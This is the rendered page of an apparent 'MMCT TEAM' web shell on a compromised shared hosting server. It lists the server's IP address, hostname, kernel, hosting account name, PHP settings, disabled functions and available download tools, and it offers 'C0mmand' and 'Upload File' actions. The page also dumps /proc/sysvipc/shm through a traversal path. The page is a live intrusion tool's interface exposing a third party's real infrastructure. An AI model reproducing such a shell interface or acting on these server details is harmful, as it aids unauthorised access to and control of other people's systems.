MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.86
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /proc/lve/../sysvipc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/lve/../sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
      5555          0   644                  1024  4126 1358009      0     0     0     0     0 1760618675 1760618675 1740120213                  4096                     0
1996768440   15368223   666                  1722 3989402 3989402      0 935118600 1063333722 935118600 1063333722 1742693162 1742693162 1742693162                  4096                     0
         0  107544616  1600                524288 2900386 3362235      1 308154374 1200132092 308154374 1200132092 1760674309 1760674322 1760673853                  8192                     0
         0  107544620  1600                524288 3027335 3392717      1 388911882 1201447964 388911882 1201447964 1760674332 1760674344 1760674000                  8192                     0
         0  107544622  1600                524288 3099947 3361931      1 308154374 1200132092 308154374 1200132092 1760674309 1760674322 1760674056                  8192                     0
         0  107544623  1600                524288 3223165 3223254      1 388911882 1201447964 388911882 1201447964 1760674200 1760674212 1760674200                  8192                     0

MMCT - 2023